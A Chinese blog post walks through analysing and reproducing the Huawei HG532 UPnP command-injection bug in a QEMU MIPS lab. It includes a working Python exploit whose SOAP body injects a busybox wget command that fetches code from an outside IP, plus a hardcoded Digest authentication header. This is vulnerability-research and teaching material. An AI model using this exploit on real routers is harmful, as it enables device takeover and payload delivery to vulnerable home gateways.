华为HG532远程命令执行漏洞

根据check point的报告(https://research.checkpoint.com/good-zero-day-skiddie/)该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
先看看报告的关键信息
在这里插入图片描述

分析upnp描述信息后,发现该设备支持名为DeviceUpgrade的一种服务类型
设备可以通过这种服务更新固件,具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求,请求中包含NewStatusURL及NewDownloadURL两个元素。远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中。

我们将固件中负责 UPnP 服务的 upnp 程序用 IDA来调试
Strings window中ctrl+f进行查找newstatus
在这里插入图片描述

双击来到ida view-a
在这里插入图片描述

交叉引用
在这里插入图片描述

关键的地方如下所示
在这里插入图片描述
在这里插入图片描述

流程大概是这样的:
程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接,然后使用system函数进行执行。

那么就有利用思路了:
首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行whoami命令,则需要做的就是构造’;whoami;节点即可。通过ATP_XML_GetChildNodeByName函数处理后,该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ';whoami; -d -,然后执行system调用,实现注入。
这样exp就好写了,exp里要执行的是wget
import requests

headers = {
“Authorization”: “Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669”
}

data = ‘’’<?xml version="1.0" ?>
<s:Envelope xmlns:s=“http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”>
<s:Body><u:Upgrade xmlns:u=“urn:schemas-upnp-org:service:WANPPPConnection:1”>
;/bin/busybox wget -g 98.168.241.128 -l /tmp/1 -r /1;
HUAWEIUPNP
</u:Upgrade>
</s:Body>
</s:Envelope>
‘’’
待会儿我们复现时会用到这个exp。

接下来我们进行复现
用到三个文件:
router.rar
debian_squeeze_mips_standard.qcow2
vmlinux-2.6.32-5-4kc-malta
第一个是华为的路由器文件,后两个是debian mips qemu镜像
我们先解压路由器文件
在这里插入图片描述

bin文件就是我们需要进一步使用binwalk提取的
在这里插入图片描述

命令执行后多了一个文件夹
进入如图所示的路径
在这里插入图片描述

file看看upnp,可以知道是mips大端序32位可执行文件
在前面的漏洞报告中我们看到有些关键字:ctrlt,deviceupgrade等,以及37215(upnp端口)我们使用这些关键字来搜索看看有哪些文件
在这里插入图片描述

因为漏洞报告中的exp需要我们与路由器进行通信,所以我们还需要执行以下命令给qemu模拟环境进行网络配置
网络接口配置文件应修改如图
在这里插入图片描述

qemu的网络接口启动文件修改如图
在这里插入图片描述

赋予权限
在这里插入图片描述

重启网络
在这里插入图片描述

关闭ens33,启动br0
在这里插入图片描述

回到之前的文件夹下,执行下面的命令,启动qemu
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append “root=/dev/sda1 console=tty0” -net nic,macaddr=00:16:3e:00:00:01 -net tap
在这里插入图片描述

可以看到qemu正在启动
在这里插入图片描述

输入root/root
在这里插入图片描述

输入ifconfig注意到ip为192.168.1.107,网卡对应的为eth1
注意,如果你在操作的时候没有这一步,可以到配置文件中设置
在这里插入图片描述

将红色的地方改为eth1即可
回到shell后输入ifup eth1即可

我们将前面解压出的固件文件系统使用scp拷贝到qemu环境
scp –r 文件系统路径 qemu路径
在这里插入图片描述

由于qemu速度较慢,不方便,我们在ubuntu上ssh连过去操作
在这里插入图片描述

查看是否拷贝过来了
在这里插入图片描述

前面我们进行关键字搜索的时候得到了两个文件/upnp,/mic
接下来尝试运行
在这里插入图片描述

无法运行,这种情况我们之前的实验中也碰到过,是因为缺少so文件
我们切换根目录到路由器文件系统
在这里插入图片描述

再次执行
在这里插入图片描述

在ubuntu这边测试下看看37215段端口开了没有
在这里插入图片描述

开了
前面的exp我这里写到了exp.py
需要注意
在这里插入图片描述

第一处的ip改为qemu的ip,第二处的ip改为ubuntu的ip
监听80端口
在这里插入图片描述

另开一个终端执行我们的exp
在这里插入图片描述

发现监听端口的那个终端收到了发来的wget请求包
在这里插入图片描述

说明漏洞利用成功。

参考:

  1. https://research.checkpoint.com/good-zero-day-skiddie/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值